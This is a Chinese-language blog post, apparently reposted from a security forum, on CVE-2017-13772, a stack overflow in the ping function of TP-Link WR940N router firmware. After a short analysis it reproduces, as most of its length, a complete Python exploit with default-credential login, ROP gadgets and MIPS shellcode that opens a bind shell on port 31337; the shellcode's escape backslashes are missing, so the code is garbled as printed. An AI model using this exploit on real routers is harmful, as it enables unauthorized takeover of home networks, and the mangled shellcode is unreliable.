前言
本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274
这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772
固件链接:http://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip
之前使用 firmadyn
可以正常模拟运行,但是调试不了,就没有仔细看这个漏洞。今天突然想起 他会启动一个 ssh
服务,那我们是不是就可以通过ssh
连上去进行调试,正想试试,又不能正常模拟了。。。。。下面看具体漏洞。
正文
漏洞位与 管理员用来 ping
的功能,程序在获取ip
地址时没有验证长度,然后复制到栈上,造成栈溢出。搜索关键字符串 ping_addr
定位到函数 sub_453C50
获取 ip
地址后,把字符串指针放到 $s6
寄存器,跟下去看看。
传入了ipAddrDispose
函数,继续分析之:
先调用了 memset
初始化缓冲区,然后调用 strcpy
把 ip
地址复制到栈上,溢出。
利用的话和前文是一样的,经典的栈溢出,经典的 rop。
附上参考链接里的 exp
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2
import base64
import hashlib
from optparse import *
import sys
import urllib
banner = (
"___________________________________________________________________________
"
"WR940N Authenticated Remote Code Exploit
"
"This exploit will open a bind shell on the remote target
"
"The port is 31337, you can change that in the code if you wish
"
"This exploit requires authentication, if you know the creds, then
"
"use the -u -p options, otherwise default is admin:admin
"
"___________________________________________________________________________"
)
def login(ip, user, pwd):
print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd)
#### Generate the auth cookie of the form b64enc('admin:' + md5('admin'))
hash = hashlib.md5()
hash.update(pwd)
auth_string = "%s:%s" %(user, hash.hexdigest())
encoded_string = base64.b64encode(auth_string)
print "[+] Encoded authorisation: %s" %encoded_string#### Send the request
url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save"
print "[+] sending login to " + url
req = urllib2.Request(url)
req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string)
resp = urllib2.urlopen(req)
#### The server generates a random path for further requests, grab that here
data = resp.read()
next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3])
print "[+] Got random path for next stage, url is now %s" %next_url
return (next_url, encoded_string)
#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
"x22x51x44x44x3cx11x99x99x36x31x99x99"
"x27xb2x05x4b" #0x27b2059f for first_exploit
"x22x52xfcxa0x8ex4axfexf9"
"x02x2ax18x26xaex43xfexf9x8ex4axffx41"
"x02x2ax18x26xaex43xffx41x8ex4axffx5d"
"x02x2ax18x26xaex43xffx5dx8ex4axffx71"
"x02x2ax18x26xaex43xffx71x8ex4axffx8d"
"x02x2ax18x26xaex43xffx8dx8ex4axffx99"
"x02x2ax18x26xaex43xffx99x8ex4axffxa5"
"x02x2ax18x26xaex43xffxa5x8ex4axffxad"
"x02x2ax18x26xaex43xffxadx8ex4axffxb9"
"x02x2ax18x26xaex43xffxb9x8ex4axffxc1"
"x02x2ax18x26xaex43xffxc1"
#sleep
"x24x12xffxffx24x02x10x46x24x0fx03x08"
"x21xefxfcxfcxafxafxfbxfexafxafxfbxfa"
"x27xa4xfbxfax01x01x01x0cx21x8cx11x5c"
################ encoded shellcode ###############
"x27xbdxffxe0x24x0exffxfdx98x59xb9xbex01xc0x28x27x28x06"
"xffxffx24x02x10x57x01x01x01x0cx23x39x44x44x30x50xffxff"
"x24x0exffxefx01xc0x70x27x24x0d"
"x7ax69" #<————————- PORT 0x7a69 (31337)
"x24x0fxfdxffx01xe0x78x27x01xcfx78x04x01xafx68x25xafxad"
"xffxe0xafxa0xffxe4xafxa0xffxe8xafxa0xffxecx9bx89xb9xbc"
"x24x0exffxefx01xc0x30x27x23xa5xffxe0x24x02x10x49x01x01"
"x01x0cx24x0fx73x50"
"x9bx89xb9xbcx24x05x01x01x24x02x10x4ex01x01x01x0cx24x0f"
"x73x50x9bx89xb9xbcx28x05xffxffx28x06xffxffx24x02x10x48"
"x01x01x01x0cx24x0fx73x50x30x50xffxffx9bx89xb9xbcx24x0f"
"xffxfdx01xe0x28x27xbdx9bx96x46x01x01x01x0cx24x0fx73x50"
"x9bx89xb9xbcx28x05x01x01xbdx9bx96x46x01x01x01x0cx24x0f"
"x73x50x9bx89xb9xbcx28x05xffxffxbdx9bx96x46x01x01x01x0c"
"x3cx0fx2fx2fx35xefx62x69xafxafxffxecx3cx0ex6ex2fx35xce"
"x73x68xafxaexffxf0xafxa0xffxf4x27xa4xffxecxafxa4xffxf8"
"xafxa0xffxfcx27xa5xffxf8x24x02x0fxabx01x01x01x0cx24x02"
"x10x46x24x0fx03x68x21xefxfcxfcxafxafxfbxfexafxafxfbxfa"
"x27xa4xfbxfex01x01x01x0cx21x8cx11x5c"
)
###### useful gadgets #######
nop = "x22x51x44x44"
gadg_1 = "x2AxB3x7Cx60" # set $a0 = 1, and jmp $s1
gadg_2 = "x2AxB1x78x40"
sleep_addr = "x2axb3x50x90"
stack_gadg = "x2AxAFx84xC0"
call_code = "x2AxB2xDCxF0"
def first_exploit(url, auth):
# trash $s1 $ra
rop = "A"*164 + gadg_2 + gadg_1 + "B"*0x20 + sleep_addr + "C"*4
rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode
params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'}
new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params)
print "[+] sending exploit…"
print "[+] Wait a couple of seconds before connecting"
print "[+] When you are finished do http -r to reset the http service"
req = urllib2.Request(new_url)
req.add_header('Cookie', 'Authorization=Basic %s' %auth)
req.add_header('Referer', url + "DiagnosticRpm.htm")
resp = urllib2.urlopen(req)
def second_exploit(url, auth):
url = url + "WanStaticIpV6CfgRpm.htm?"
# trash s0 s1 s2 s3 s4 ret shellcode
payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c
payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4
payload += stack_gadg + "A"*4 + nop*10 + shellcode + "B"*7
print len(payload)
params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1',
'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000',
'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA',
'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'}
new_url = url + urllib.urlencode(params)
print "[+] sending exploit…"
print "[+] Wait a couple of seconds before connecting"
print "[+] When you are finished do http -r to reset the http service"
req = urllib2.Request(new_url)
req.add_header('Cookie', 'Authorization=Basic %s' %auth)
req.add_header('Referer', url + "WanStaticIpV6CfgRpm.htm")
resp = urllib2.urlopen(req)
if __name__ == '__main__':
print banner
username = "admin"
password = "admin"
(next_url, encoded_string) = login("192.168.0.1", username, password)
###### Both exploits result in the same bind shell ######
#first_exploit(data[0], data[1])
first_exploit(next_url, encoded_string)
参考链接:
https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/